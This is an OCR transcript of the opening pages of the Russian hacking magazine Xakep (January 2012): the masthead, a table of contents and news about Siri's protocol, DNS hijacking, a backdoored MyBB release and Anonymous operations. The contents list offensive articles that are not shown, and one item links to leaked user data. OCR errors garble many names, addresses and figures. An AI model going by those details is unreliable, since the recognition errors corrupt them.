haker

148

Click here to load reader

Upload: vitaliegriza

Post on 07-Aug-2015

47 views

Category:

Documents


6 download

DESCRIPTION

it

TRANSCRIPT

Page 1: haker

· ИНТЕРВЬЮ С ДМИТРИЕМ СКЛЯРОВЫМ е

ЖУРНАЛ ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВ

Fl 01 [156] 2012

ENCRYPTION МЕХАНИЗМ ШИФРОВАНИЯ XML-KOHTEHTA ОКАЗАЛСЯ УЯЗВИМ К РАСКРЫТИЮ ДАННЫХ.

РАЗБИРАЕМСЯСТЕМ,ПОЧЕМУЭТОРАБОТАЕТ

И КАК НА ПРАКТИКЕ ПОЛЬЗОВАТЬСЯ БА ГОМ

-·-НОВЫЕ БАГИ ФАЙЛОВЫХ

ФУНКЦИЙ РНР -·-PHONEGAP: МОБИЛЬНЫЕ ПРИЛОЖЕН ИЯ НА HTML5 -·-КАКУГНАТЬ

ЧУЖОЙ БОТНЕТ

СВОЯ ПРОШИВКАДЛЯ ANDROID

РЕКОМЕНДОВАННАЯ

ЦЕНА:230р.

(gamв]land hf.fun media UJ =.---; _0 n:1 iiiiiiiiiiiiiiio

-~ -N

Page 2: haker
Page 3: haker

lntro

О ВЫГОДЕ подписки

Решил немного поделиться с тобой инсайдом: расскажу о

внутренней кухне издательской деятельности и о том, как рабо­

тает дистрибуция журналов в России. Прежде всего, сухой факт:

наценка торговых сетей в среднем не ниже 100%. Например, если

тыкупилХакерза250рублей , тодоредакциииззтихденегдойдет

меньше половины . Справедливы ли такие проп орции? В общем­

то, зто риторический вопрос, не имеющий никакого смысла:

розничные сети обладают монополи ей, и именно они определяют

все условия . Не хотите- не работайте .

Н у и вообще их бизнес тоже не пр ост. Тут факт номер два: в

каждой точке за месяц обычно прода ется 1-3 экземпляра журнала ,

а точек продаж-десятки тысяч по всей России. Соответственно,

частая ситуация: в одном киоске «Хаке р >> закончился, а в другом­

лежит невостребованным. Все это требует сложной логистики,

больших затрат на развоз продукции и так далее. Поскольку мы

не знаем , где нас ждет nокуnатель, приходится присутствовать в

большом количестве киосков и тратить на это немало дене г, по­

лучая обратно возвраты-непроданные журналы . Все это сильно

влияет и на торговую наценку, и на экономикужурнала в целом .

Решение этой проблемы есть , и оно на поверхности : ПОДПИСКА.

В этом случае мы за ранее знаем, сколько журналов и по какому

адресу нужно доставить, зто прозрачно, выгодно и эффективно .

Именно nоэтому мы рады предложитьлучшие цены на подписку :

от 115 рублей за номер! Выгоднее всего оформить подписку можно в нашем магазине подписки shop.g lc. ru/ xakep. Оплата любым электронным способом, доставка курьером по Москве, почтой- по

России . И абсолютный хи т: супервыгодная подписка самовывозом

из редакции в Москве!

ХАКЕР 01/156/201 2

nikitozz, rn. ре д. Х shop.glc.ru/xakep

vkontakte ru/xakep mag

-,rp.HEP ..... ~

РЕДАКЦИЯ Главный редактор

Шеф-редактор

Выпускающий редактор

Редакторы рубрик

PC_ZONE и UNIТS взлом

Никита «nikitozz )) Кислицин [nikitozfareal.xakep.rul Степан ctstep» Ильин (steprareaJ. xakep.ru ) Николай c(gorl» Андреев ([email protected])

Степан «Step)) Ильин [stepffireal.xakep.rul Маг (magglareal.xakep. ru l

MALWARE и SYN/ACK UNIXOID

Александр «О г. Klouniz» Лозовский (alexanderfareal xakep.rul Андрей ccдпdгushock>> Матвеев (aпdгushockfareal.xakep.гu )

КОДИНГ ФРИКИНГ

РR-директор

Редактор xakep.ru Литературный редактор

DVD Выпускающий редактор

Uпiх-раздел

Security-paздeл

Монтаж видео

ART

Н и кол ай ccgoгl)) Андреев (goгlumfaгeal.xakep.гu 1

Сергей Сильнов (pofakumekay.com) Анна Григорьева [ gг igorievafaglc . ru ) Леонид Боголюбов ixafaгeal . xakep. ru l Елена Болотникова

Антон «ant)) Жуков (antfareal.xakep.гu l

Андрей ccAпd гushock» Матвеев andrushockfareal.xake .ru) Дмитрий «01g1 >> Евдокимов levdokimovdsfagmail.com) Максим Т рубицын

Алик Вайнер (aliklaglc. rul Егор Пономарев

Вера Светлых

Арт-директор

Дизайнер Верстальщик

Фото на обложке Фотограф: Ексей Пантелеев. Модель: Екатерина Валуйская.

PUBLISHING Учредитель 000 «Г ей м Лзнд», 115280, Москва,

у л. Ленинская Слобода, 19, Омега nлаза, 5 зтаж, офис No 21. Т ел.: 1495/935-7034, факс: 1495/545-0906

Генеральный директор

Генеральный издатель Финансовый директор

Директор no маркетингу Управляющий арт-директор Главный дизайнер

Директор по производству

РАЗМЕЩЕНИЕ РЕКЛАМЫ

Дмитрий Агаруно в

Андрей Михайлюк

Андрей Фатеркин

Елена Каркашадзе

Алик Вайнер Энди Тернбулл Сергей Кучерявый

Т ел . : 1495/935-7034, факс: 1495/545-0906

РЕКЛАМНЫЙ ОТДЕЛ Директор груnпы TECHNOLOGY Старшие менеджеры

Менеджер

Директор корпоративной группы

Старший менеджер Менеджер

Старшийтрафик-менеджер

Марина Филатова ( f il atovaГcl glc ru l Ольга Емельянцева (olgaemlfaglc.ru) Оксана Алехина /alekhinalaglc.rul Елена Поликарпова ([email protected] (работа с рекламными агентстеами] Кристина Татаренкона (ta tareпkova@g lc .ru l Юлия Г Осподинава /gospodinovataglc гu l Мария Дубровс кая ([email protected]/ Марья Була нова (bulanovalaglc.rul

ОТДЕЛРЕАЛИЗАЦИИСПЕЦПРОЕКТОВ Директор

Менеджеры

РАСПРОСТРАНЕНИЕ Директор по дистрибуции

Руководитель отдела подписки

Руководитель

спецраспространения

Александр Коренфельд /korenfeldlaglc.rul Светлана Мюллер Наталия Т улинова

Татьяна Кошелева l koshelevafaglc . гu ) Виктория Клепикова [email protected]]

Наталья Лукичева llukichevafaglc.ru )

Претензии идаполнительная инфа:

В случае возникновения вопросов по качеству печати и ОVО-дисков : claimfaqlc.ru . Горячаялиния по подписке

Факс для отnравки купонов и квитанций на новые подписки : (495)545-09-06 Т елефон отдела nодnиски для жителей Москвы: 1495/663-82-77 Т елефон для жителей регионов и для звонков с мобильных телефонов: 8-800-200-3-999 Для писем: 101000, Москва, Главпочтамт, а/я 652, Хакер

Зарегистрировано в Министерстве Российской Федерации по делам печати, телерадиовещанию и

средствам массовых коммуникаций ПИЯ 77-11802 от 14.02.2002 Отnечатано в типографии Zapolex, Польша. Тираж 219 833 экземпляров.

Мнение редакци и н е обязательно совпадает с мнением авторов. Все материалы в номере

nредоставляются как информация к размышлению. Лица, исnользующие данную информацию в

противозаконных целях, могут быть привлечены к ответственности. Редакция не несет ответствен­

ности за содержание рекламных объявлений в номере. За перепечатку наших материалов без спроса- nреследуем. По вопросам лицензирования и получения прав на использование редакци­

онных материалов журнала обращайтесь по адресу: contentrдglc.ru . © 000 «Г ей м Лзнд», РФ, 2012

001

Page 4: haker

HEADER 004

011

MEGANEWS Все новое за последний месяц

hacker tweets Хак-сценав твиттере

COVERSTORY

018 ВзломХМL

Encryption Легкий способ

дешифрования

закрытой ХМL­

информации

016

017

Колонка Степы Ильинна

ФРАНЦУЗЫ СУМЕЛИ ОТРЕВЕРСИТЬ ПРОТОКОЛ ПЕРСОНАЛЬНОГО ПOMOЩHИKASIRI

004

Как бесплатно получить 8 Г б в Dropbox с п омощью AdWords Proof-of-coпcept

Сканер ХSS-уязвимостей на 100 строк кода

COVERSTORY

030

COVERSTORY

Атака на файлы

Эксплуатация

свежих уязвима­

стей в функциях

для работы с

файлами в РНР

Интервью с Дмитрием Скляровым

Человек, который

поссорился с Adobe

Page 5: haker

036

042

046

PCZONE

РhоnеGар:мобильноеnриложениенаНТМL5

Каксоздатьпрограммудлясмартфоназаполчаса

Семь рецептов приготовпения Windows-пapoлeй

Каксдампитьииспользоватыешипаролей

атучеток Wiпdows-cиcтeм ы

Правила постэксплуатации

Что делать с шеллом Wiпdоws-системы?

- взлом 050 Easy-Hack

054

060

064

068

072

Хакерекие секреты простых вещей

Обзор эксплоитов

Анализ свеженькихуязвимастей

ШтурмМD5

Все методы взлома популярного алгоритма хеширования

Какугоняют ботнеты

Покоряем зомби-сети на базе SpyEye

Пробиная Lotus, или история одного пентеста Эксплуатируем приватную дыру в Lotus Oomiпo Сопtгоllег

X-Tools Программы для взлома

СЦЕНА

074 Хакерепейс--территорияхакеров

Как собрать хакеров в одном месте

- MALWARE 080

084

Силен Дуку очень

Wiп32/0uqu: темный преемник червя Stuxпet

Проверка антивирусов: bootkit test BitDefeпdeг, ESET NOD32, F-Secuгe, Outpost Secuгity,

Risiпg против «загрузочных>> угроз

- КОДИНГ 088 .NЕТ-криптография

Разбираемсяскриптографическойподсистемой

.NET Fгamewoгk

094 Задачинасобеседованиях

Подборкаинтересныхзаданий,которыедают

на собеседованиях

098 Паттернпроектирования«Одиночка»

Создаем один-единственный объект на всю программу

- UNIXOID 102

107

112

117

Атака форков

Обзор веток популярных дистрибутивов Linux

Фильтруй эфир!

Аудитсетевоготрафика с помощью tcpdump

Свойсобственныйробот

Создаем Апdгоid-прошивку из подручных материалов

Мини-обзор Ubuntu 11.10 Коротко об Oneiгic Ocelot

- SYN/ACK 118 Бумажная работа безопасни ка

Великая статья о великой бюрократии

в работе специалиста по ИБ

122 Когда сгущаются тучи

Защищаем данные в облаке

- FERRUM 126 Позови NAS к себе

130

-132

-136

139

142

144

Тестирование 5- и 6-дисковых NАS-серверов

Со скоростью света

Тестированиетвердотельного накопителя Silicon

PoweгSP060GBSSOV30525

PHREAKING

Loop во благо Рассмотрим, создадим и заюзаем апnаратную

nетлю на nорте коммутатора

юниты

FAOUNIТED

Большой FAQ

Диско

8.5 Гб всякой всячины

WWW2 Удобные wеЬ-сервисы

Календарь2012

Главные события NY2k+ 12

Page 6: haker

EGANEWS ПРЕПАРИРОВАНИЕ SIRI ФРАНЦУЗЫ СУМЕЛИ ОТРЕВЕРСИТЬ ПРОТОКОЛ

ПЕРСОНАЛЬНОГО ПOMOЩHИKASIRI

• 111 '.1 ~.)

" On Мау 19 rem1nd me •l 's dad's b<rlhday "

Не 'С~ •~:J' r1 п r••Jer '::,r Мау 1'3 -cL 1 ,(! • а111

а

19 Saturday Мау 2012

Oad's brrthclay

" Разработчики из Applidium опубли­ковали в открытом

доступе весь набор инструментов,

созданных входе

<< BCKpЫTИA» Siri . Утверждается, что этих туnэ должно

хватить тем, кто

технически способен написатьSiгi­

приложение.

r; ~· ''1'

Windowsxp

WINDOWSXPCTAJIAЭKCПO·

НАТОМ В ПОЛИТЕХНИЧЕСКОМ

МУЗЕЕ МОСКВЬI. Двадцать

пятого октября в эале

вычислительной техники

были размещены два ПК, на

которых установлена ОС.

001,

nустя месяц nосле релиза

iPhone 45 исследователям из француз ской компании

Applidium удалось добраться до вну­тренностей 5iгi, который стал доступен

в i05 5. Внимательно изучив nротокол ,

французы сделали множество nолез­

ных выводов . Они также пообещали,

что благодаря их изысканиям в скором

будущем nоявится возможность ис­

nользовать 5iгi для дру гих nриложений

и устройств. Да-да, можно будет писать

приложения для Andгoid, а также ис­

nользовать 5iгi на iPad. Все nодробно­сти опубликованы на сайте компании

Applidium: appl idium .com/en/news/ cгack i ng siг i .

Основные заключения таковы:

iPhone 45 действительно посылает насервернеобработанное аудио,

сжимая е го при nомощи аудиокоде-

ка 5реех. Для исnользования 5iгi на

другом устройстве все равно nотребу­

ется идентификатор no крайней мере одного iPhone 45 . Этот идентификатор довольно легко nолучить\nодделать, о чем довольно nодробно рассказывает­

ся по ссылке выше. Конечно , есть риск

nоймать ба н, но если не выходить в

Сеть с устройства, на котором установ­

лено nриложение, то он минимален.

Протокол в целом очень «бо лтли­

выЙ>>. iPhone обменивается большим количеством данных с серверами

Apple . Наnример, во время nреобразо­вания текста в речь сервер даже при­

сылаетоценкудоверияивременную

метку для каждого слова.

ИЗ APPLE УВОЛИЛИ ДИРЕК· РОССИЯ ВЬIШЛА НА ПЕРВОЕ

ТОРА ПО БЕЗОПАСНОСТИ МЕСТОВЕВРОПЕПОЧИСЛУ

Джона Терио. По слухам, ИНТЕРНЕТЧИКОВ ! По со об-

причинойувольнениястало щению компании comScoгe,

то, что Т ери о не сnравлялся у нас в стране начитывается

со своими обязанностями. уже 50,81 млн пользователей Всемирной сети.

БОЛЕЕ ТЬIСЯЧИ ЗАЯВОК было подано в этом году

на конкурс <<Премия Рунета».

UBUNTUДЛЯ МОБИЛЬНЫХУСТРОЙСТВ UBUNTU 06ЕЩАЕТ ПРЕВРАТИТЬСЯ В ПОЛНОЦЕННУЮ МОбИЛЬНУЮ ОС

начале ноября Марк Шаттлворт[основатель

Canonical, один из разработчиков Debian, второй космический турист и человек, руководящий

разработкой Ubuntul объявил о том, что Ubuntu в будущем доберется до смартфонов, nланшетов и тел евизоров.

Компания Canonical готовитуниверсальную версию ОС, которая, как и Windows 8, будет nодходить и для дескто­nов , и для мобильных устройств на АRМ-процессорах .

Выяснилось, что nереговоры с прои зводителями апnа­

ратного обеспечения ведутся уже полтора года. Вnрочем,

универсальная версия врядли появится в ближайшем

будущем. Ожидается, что мобильные устройства будут

nоддерживаться в Ubuntu 14.04, выход которой наме-чен на аnрель 2014 года . Шаттлворт nодчеркнул, что к

реализации этой идеи компания еще не при ступала, n ока

только вела nереговоры и <<готовила nочву>>. В настоящий

момент все усилия Canonical наnравлены на разработку Ubuntu 12.04, которую nланируется представить в аnреле 2012 года . Ш аттлворт отметил, что это будет LТ5-версия

[то есть версия с долгосрочной nоддержкой), поэтому

разработчики заинтересованы в том, чтобы сделать ее

максимально стабильной.

ПАВЕЛ ВРУБЛЕНСКИЙ ОФИЦИАЛЬНОПОДТВЕРЖ·

(CHRONOPAYI ПРИЗНАЛСЯ ДЕНО, ЧТО STEAM ВЗЛОМАН. В ТОМ, ЧТО ОРГАНИЗОВАЛ Началось все с дефейса

DDOS-ATAKY на сайт конку- форумов, а в ходе расследо-

рента (Assist), в результате вания стало ясно, что хакеры

которой пострадала авиа- также получили доступ к

компания <<Аэрофлот>>. базе данных Steam.

ХАКЕР 01/156/2012

Page 7: haker

Корпорация lпtel не несет ответственность и не осуществ11яет проверку добросовестности и11и достоверности каких-11ибо утверждений и11и заяв11ений относите11ьно конкретных компьютерных систем, упоминание о которых содержится в данной рекмме.

Корпорация lпtel © 2011 г . Все права защищены . lпtel, логотип lпtel , lпtel Саге и Саге являются товарными знаками на территории США и других стран . Реклама . *Другие наименования и товарные знаки являются собственностью своих за ко нных владельцев.

Page 8: haker

MEGAN EWS В ОФИЦИАЛЬНОМ &ЛОГЕ FАСЕВООК сообщается, что объектами атак ежедневностановятся порядка 600тысяч аккаунтов социальной сети.

POLAROID ВОЗВРАЩАЕТСЯ! ЦИФРОВАЯ КАМЕРАС ФУНКЦИЕЙ МОМЕНТАЛЬНОЙ ПЕЧАТИ

Девятнадцатого де­

кабря 2008 комnания Polaгoid года объяви­ла себя банкротом,

воспольэовавwись

11-й главой Кодекса

США о банкротстве. Однаковсамой компании говорят,

что банкротство носиттехнический

характер и Polaгoid nродолжает рабо­тать, а 11-я глава

nросто nозволила

компании провести

финансовую ре­структуриэацию.

егендарный Polaroid попытался возродить камеры для моментальной фотографии: компания представила цифровой фотоаппарат Z340 lnstant Digital Camera. Нов инка используеттехнологию печати ZINK

Zero lnk Printing, ключевым элементом которой является сnециальная бумага с вкраnлениями красящих кристаллов. Под воздействием тепла, выделяемого

работающей « nечатающей >> головкой, кристаллы плавятся. При охлаждении

кристаллизация не nроисходит, благодаря чему нап ечатанное изображение

остается на бумаге. Словом , как и раньше, когда исnользовались аналоговые

технологии,фотоаnпаратпозволяетполучить«твердуюкоnию»снимкавскоре

после на жатия кнопки с nуска . Разрешение камеры составляет 14 Mn. Она оснащена жидкокристаллическим дисnлеем диагональю 2, 7" и слотом для карт памяти формата SD. Объектив с фиксированным фокусным расстоянием IЭФР 43 мм] имеет максимальную диафрагму F/3,2. Есть функция видеосъемки [максимальное разрешение-1280 х 720 nикселей]. Polaroid Z340 nечатает фотографии размером76 х 102 мм, а бумага для него стоит порядка $20 за 30 листов. Питается камера от литиево-ионной аккумуляторной батареи, полного

заряда которой, no словам производителя, хватает на 25 отnечатков. Камера позволяет выбирать снимки для nечати и на кладывать на изображения разные

эффекты, в том числе добавлять белую рамку в стиле моментальных ретро­

фотографий Polaroid. Цена Z340 lnstant Digital Camera составляет около $300.

ПЯТИМИНУТКА ЮМОРА

ПОСЛЕОБНОВЛЕНИЯАНТИВИ­РУС AVIRA СТАЛ ОПРЕДЕЛЯТЬ СОБСТВЕННУЮ БИБЛИОТЕКУ AESCRIPT.DLL КАК ПОТЕНЦИ­АЛЬНУЮ МАЛВАРЬ

006

НЕПРИЯТНОСТИ С DNS ВЕЗДЕ И ВСЮДУ В БРАЗИЛИИЗАФИКСИРОВАНА МАССОВАЯ АТАКА,

А В США РАСКРЫЛИ КРУПНУЮ АФЕРУ

прошлом месяце в мире произошел сразу ряд

инцидентов, связанных с подменой DNS-aдpecoв.

Больше всех, пожалуй, пострадала Бразилия

-в стране была проведе на массовая атака на сервера

сразу нескольких крупнейших nровайдеров. В результате

атаки в доменном кеш е были подменены DNS -за пи си для

Hotmail, Gmail, Google, Microsoft и других международных и локальных сервисов, в частности Uol, Terra и Globo. Ты­сячи людей, обращаясь, скажем, к google.com , шли не на IР-адрес реального сервера компании Google, а на нужный хакерам веб-ресурс. П очти все фейковы е сайты расnро­

страняли различные мал вари. К nримеру, фейковый сайт

Google nредлагал пользователям с качать и установить nрограмму Google Defender, которая на самом деле nред­ставляла собой набор вредоносных программ. На данный

момент, по информации бразильских СМИ , по подозрению

в организации этой атаки был задержан 27-летний со­

трудник одного из круnных провайдеров страны, который

сnровоцировал обновление на многих DNS-cepвepax

Бразилии, изменив DNS-эаписи.

В США, в свою очередь, nрактически завер шилась

длившаяся два года операция Ghost Click . Сотрудники американскихправоохранительных органовсовместно

с коллегами из-за рубежа успешно раскрыли мошен­

ническую схему, основанную на исnользовании вируса

DNS Changer. Эта малварь заставляла устрой ства Мае OS Х и Windowsдoвepять нестандартным DNS. Программа установила липовые IР-адреса nримерно для 15 тысяч доменов! В итоге жертвы вируса , как нетрудно догадать­

ся, nопадали на различные мошеннические ресурсы .

Всего вирь инфицировал более четырех миллионов ПК

более чем в 100 странах мира, в том числе nорядка 500 тысяч комnьютеров в Соединенных Штата х. По итогам

операции прокурары назвали имена семерых обвиняемых

[все семеро из Восточной Евроnы], которые nредположи­тельно заработали на этом <<бизнесе» более 14 миллио­нов долларов, << nохищая» клики и nодменяя рекламные

ссылки . В двухдата-центрах [в Нью-Йорке и Чикаго] прошли обыски, в результате которых было выведено из

строяболеестаконтрольныхсерверов.Длятогочтобы

уменьшить ущерб, нанесенный зараженным ком пью ­

терам, вредоносные DNS-cepвepa были заменены на

уnра вляемые ln ternet Systems Consortium. Федеральные обвинители считают, что за этой аферой стоит эстонская

компания Rove Digital. Так как шестеро из семи подо­зреваемых- граждане Эстонии, это nохоже на правду.

Заокеанские федеральные прокурары теnерь хотят до­

биться того, чтобы задержанных экстрадировали в США.

Седьмой обвиняемый в этом деле- гражданин Ро ссии,

находящийся на свободе, числится в розыске . Главой

EstDomains-дoмeннoro регистратора, который предо­

ставлял услуги nрестуnникам , был Владимир Чащи н. Ег о

уже судили в Эсто нии и лишили аккредитации ICANN еще в 2008, nосле обвинения в мошенничестве, отмывании денег и nодделке докуме нтов.Каждого задержанного об­

виняют в nяти случа ях мошенничества с использованием

электронных средств коммуникации и взлома компьюте­

ров. Чащинутакже предъявлено обвинение в 22 случаях отмывания денег. Обвиняемые суммарно могут пол учить

85 летт r~ ремного заключения.

ХАКЕР 01 /156/201 2

Page 9: haker
Page 10: haker

MEGANEWS ВХОДЕ ОПРОСА, ПРОВЕДЕИНОГО ТНЕ CONSUMERIST, RIAA была признана худшей компанией Америки.

ГЛОНАСС ДОЛЖЕН БЫТЬ ВЕЗДЕ! ВСЕ УСТРОЙСТВА, РАБОТАЮЩИЕ В СЕТЯХ WI-FI, ДОЛЖНЫ БЫТЬ ОСНАЩЕНЫ ГЛОНАСС И ЛИЦЕНЗИРОВАНЫ

рем я от времени наши власти очень л юбят на­

поминать нам, что мы живем в России, а значит,

скучно не будет. Очередная инициатива Мин­

комсвязи обернулась, как бы это сказать помягче, очень

забористым маразмом. Во-первых, согласно приказу,

всту пившему в силу 10 октября , все точки беспроводного

радиодоступа следуетоснаститьа ппаратурой системы

спутниковой навигации ГЛОНАСС или ГЛОНАСС/GРS. Да, ВСЕ точки доступа , то е с ть все роутеры, ноутбуки, смарт­

фоны и прочие девайсы, использующие стандарт 802.11 . Во-вторых, обл адателю тако й точк и дос т упа требуются

лицензии и разрешения Роском надзора . П о лучаетс я , что ,

с одной стороны, устройства малого радиуса действия

[ м о щностью не более 100 м Вт), работающие п о ста н ­дарту 802 .1 1, не подлежат обязател ьной регистрации.

С другой стороны, Минкомсвязи утверждает обратное .

Невыполнение пр иказа грозит н е толь ко администра­

тивным штрафом, который составляеттысячу рублей , но

и конфискацией соответствующего оборудования. Если

ты все еще надеешься, что здесь какая-то ошибка, с п ешу

тебя «обрадовать»- ош ибки нет. Мини стерство связи и

массовых коммуникаций РФ уже офи циально подтверди­

ло всю пр иведе нную выш е информацию и ко н к ретизиро­

вал о ее. П равда , о н о п оче му-то не объяс нило, как и зачем

встраивать модуль ГЛОНАСС в роутер или ноутбук .

а

iPhone45, как ты помнишь, оказался

оснащен модулем

ГЛОНАСС, что для многихстало сюр­

призом. В компании Apple оnределенно что-тознали :).

Jj ._d

ТА -.....

~

·-~

KaneOIAII~

WEXLER.BOOK Е7001. Компания Wexler представляет новую электронную книгуWЕХLЕR.ВООК Е7001 на базе 7.0" сен­сорногозкрана,благодарякоторомуэтотпродуктявляется

уникальным для рынка стран СНГ. Устройство оснащено4 ГБ

встроенной памяти (можно расширить до 32 ГБ с помощью microSDI , поддерживаетсамые популярные форматы электронных книг, изображений и аудио файлов; позволяет

слушать FМ·радио. Ридер оснащенлитий-полимерным акку­

мулятором емкостью 1500 mAh, а значит, может работать без подзарядки несколько недель. Новинка выполнена в тонком

эргономичном корпусе, задняя панель которого изготовле­

на иэ легкогоалюминиевого сплава . WEXLER.BOOK Е7001 поставляется в кожаной обложке. Рекомендованная цена

устройства : 5 990 руб .

008

НЕПРОСТАЯ УЯЗВИМОСТЬ В МУВВ НЕИЗВЕСТНЫЕ ХАКЕРЫ ПОКОПАЛИСЬ В КОДЕ

ПОПУЛЯРНОГО ОТКРЫТОГО ФОРУМА

есьма некрасивый фейл приключилея с разра­

ботчиками открытого форума МуВВ. Еще в начале

октября в официальном блоге была опубли ­

кована информация о некой критической уязвимости,

обнаруженной в последней версии МуВВ 1.6.4. Н о все

оказалось не так просто. Ды рка, позволяющая выполнить

произвольный код РНР, возникла не сама п о себе. Как

выяснилось, уязвимостьдоба вили в код н еизвестны е

хакеры, попросту подменив архив с релизом форума на

сервере загрузки . Каким образом хакеры проникли в

систему, до сих пор не установлено, ведь движок сайта

хоть и разработан св о ими силами, но все же основан на

использовании сторонни х открыты х фреймворков. Тепер ь

ра з работчики уверяют, что пробл ема безо п асност и при­

сутствует не в коде и х CMS, кото р ый не распространяется публично, а именн о в этих самых внешних фреймворках.

Как бы т о ни было, те перь всем пользователям МуВВ 1.6.4, з агрузившим ар х ив до 6 октября, нужно срочно установить обновление. Раз работчики между тем задумались, как

избежать подобны х инцидентов в будущем. Планируется

на чать распро стран е ние контрольных сумм для проверки

целостностии значальноопубликованныхархивов.Для

распространения к о нтрольных сумм будет использовать­

с я сторонний сервер, чтобы хакеры не смо гли подменить

файлы с контрольными суммами. Также разработчики

рассматривают возможность ис п ользования для орган и­

зации загрузк и релизов сетей доставки контента [CDN) .

,0 -·'- · ·- ~· - •с·- · - -·­., ,_",,.,,..

1 - ••• " _ ,._""_, ___ ·-· ·· -·· •• ,.

Firefox with Bing

Ьing

<<ЧТО УГОДНО, ТОЛЬКОНЕ

GООGLЕ!~~-видимо, такду­

мают в компании Microsoft. Теперь поисковик Biпg

предлагаетпользователям

с качать и установить брау­

зер Firefox.

.... ...... ~ . ,_,. __ (<~ ....... , ... , .. '<I'К;J

.. .....,<Jo•• • "' I"•• O.""*'nr l """ "' '" ''' '"""""' ~ · --~··· ' """""" L>oo< •, "' ·- ! r.=oo« _ _ ,,... ..

1 • •.• , .... .

ВЗВМЛРДРУБЛЕЙОЦЕНЕН УЩЕРБ от lпterfilm.ru и

Puzkarapuz.ru . Владельцы сайтов супруги Лопуховы

нарушили авторские и

смежныеправа1Зкиноком­

паний.

ХАКЕР 01 / 156/201 2

Page 11: haker

t'

' !..' -'В акциях-

..;;.

за~рытые r . ' • .·

иятия для держателей · <~ tу1ужск9.Й .f •

~~ ~-

.· равлять своими счетами, испольЗуя с ....... - ..... нтернет-банка «Альфа-Клик» . .l . · ·~;·

' 1 . . , / • • 1 . 1. ' . - \ . / . U·>· •-z.. .. \--.:,,,.

· jОформпять подllис_ку на жУрнал·~:-~<·. 1 . · ·

· ~<Хакер» со скид,ои 50% · : : rел.-подписки (495)-663-82-771 shop.glc.ru

Page 12: haker

MEGANEWS ENTENSYS И COMMTOUCH СООБЩАЮТ, что Россия генерирует 6, 7% от общего количества сnама в мире.

АНОНИМУС ПРОТИВ НАРКОКАРТЕЛЕЙ И ПЕДОФИЛОВ БЕЗЛИКИЙЛЕГИОН СПОСОБЕН НЕ ТОЛЬКО НА ИЗДЕВАТЕЛЬСТВА НАД КОПИРАСТАММ И ВЛАСТЯМИ

очти каждый меся ц мы п убли куем н овости с

фронта борьбы Анонимус со всем белы м светом ,

НО на ЭТОТ раз « ПОСЛедние С ВОДКИ >> ВЫГЛЯДЯТ

необычно даже дл я анонов . Н едавно на YouTube появила сь интересная видеоза­

пись : че л овек в маске Гая Фокса пропущенны м через

модулятор голосом обратился от име н и Aпoпymous к

мексиканс кому наркокартелю «Зета с » [Zetasl с требо­вани емотпустить эахваче нногочленахактивистской

груп пы . Стоит отм етить , что картел ь «Зета с>> , известный

своей жесто костью, уже « карал >> тех , кто осмеливался

вести против него войну в Сети . Та к, 26 сентября 2011 года в Нуэво-Ларедо была обезглавлена работница мест-

н ой га зеты. Соглас н о оставленн ой записке , женщин у

убили иэ-за ее активности на сайте. А совсем недавно

по аналогичной причине был убит мужчина-блогер. Из

опубликованного Anonymous ролика не ясно , кого им е нн о

требовали от п устить хакеры- ни име н , ни н ик нейм ое

названо не было. Зато Анонимус п ригрозила картелю,

что, если в течение месяца со дн я публикации видео

ее требования не будут выпол н ены, хак- группа начнет

публиковатьданные о пом о га ющи х « Зета с >> коррум п и­

рованных полицейски х, таксистах , журналистах и так

далее . По сути , Анонимус объявила OpCaгtel [Оnерация Картел~.Послеэтогосайтмексиканс когополитика , по­дозреваемого в связи с картелем, был взломан, а до СМИ

дошла информация, что многие аноны запа ни ко вал и и

даже отказались учувство ват ь в операции. Одн ако о н а з а ­

вершилась, не успев начаться, -одна иэ самы х страшны х

преступных организаций в мире отпустила заложника , и

OpCaгtel попросту отме нили . В оттак Анонимусодержала

верхнаднаркокартелем .

Однако это не все. В этом месяцеАнонимус провела

еще одну громкую операцию, которую, без всяко го с о ­

мнения, можно н азвать важной, нужной и прав ильной.

Вездесущие хактивисты вывели из стр оя подпольный

сайт с детской порнографией и обнародо вали с писок его

участ н иков . Началось все с обнаруже ни я сайта на домене

.onion- Hidden Wiki, где содержались ссылки на сотни ресурсов с детским порно. Анонимусудалила ссылки, но

администраторы вернули и х на место . Тогда-то хакеры и

заметили, что на больши н стве фото графий стоит водяной

з нак хаетера Fгeedom Host ing. А затем ... Процитируем самих анонимов: « Положив сер вера Fгeedom Hosting, мы удалили более 40 сайтов с детской порнографией, среди

ЕВГЕНИЙ КАСПЕРСКИЙ:

010

которых был Lolita City - кр упнейший ресу р с, содержав­

ший более 100 Гбдетско й порнаграфи и. Мы продолжим

обрушение не т олько Fгeedom Hosting, но и любого другого сервера, которы й будетзамечен в распространении

детской порнографи и >>. В рамка х Opeгat io n Daгknet на

хостинг была проведена серия ООоS-атак . Судя по отчет у

об операции , ба за да нны х п оль з ователей са йта Lol ita City была извлечена с помощью SQL-инъекции . Владельцы

хостинга , кстати , поп ыталис ьсопротивлятьсяатак~н о

Анонимус это не остановило . Все полученные данны е

хактивисты традиционно выложили в открытый досту n:

pastebin . com/Т1 LH nzEW.

За nоследний месяц Anonymous усnела взло­

мать сайт Мусульманско­го братства . Атаки nро­

водились из Германии, Франции, Словакии и Сан-Франциска со ско­

ростью 2000-6000 хитов в секунду. Позже хакеры увеличили скорость

атаКИ ДО 38 ТЫСЯЧ ХИТОВ В секунду.

<<IT НУЖНЫ ВОЕННЫЕ СТАН­ДАРТЫ БЕЗОПАСНОСТИ. КОГДА ЦЕНА ИНФОРМАЦИИ СЛИШКОМ ВЫСОКА, НУЖНО ОТКЛЮЧАТЬ СЕТИ ОТ ИНТЕРНЕТА>>

ХАКЕР 01 / 156/2012

Page 13: haker

laEdiStrosar: «Большая часть технологий

обеспечения безопасности

«безопасна» только потому, что

никто даже не пытался атаковать их>> [Петер

Гатманl.

Гcljkouns:

Сообществу безопасников

необходим обширный ресурс

для планирования конферен­

ций. Ещё один Gооglе-календарь- зто не

решение.

Другие примеры клевых корот­

ких IР-адресов: http:!/4 .. 2; http:/196.4; ht.p://71.3;

ht.~. Нулики восстанавливаются словно по волшебству ...

ГciRogunix:

DоS/РоС-эксплойт для пере­полнения ICMP гefCount в стеке TCP/IP [MS11-083I требует 2л32

UРD-пакетов, следовательно, при 250 пото­кахпроцессзаймет52дня.

t.co/aY.PCMyRy.

lafjserna: Вчера был последний мой день

в Micгosoft/MSRC . Так здорово было там работать! А уже через

несколько недель я присоединюсь к коман­

де безопасности Google. Ушел++.

1!!!1 Комментарий:

lilil Ферм ин Джей Серна- один из авто­ров замечательной утилиты ЕМЕТ, которая

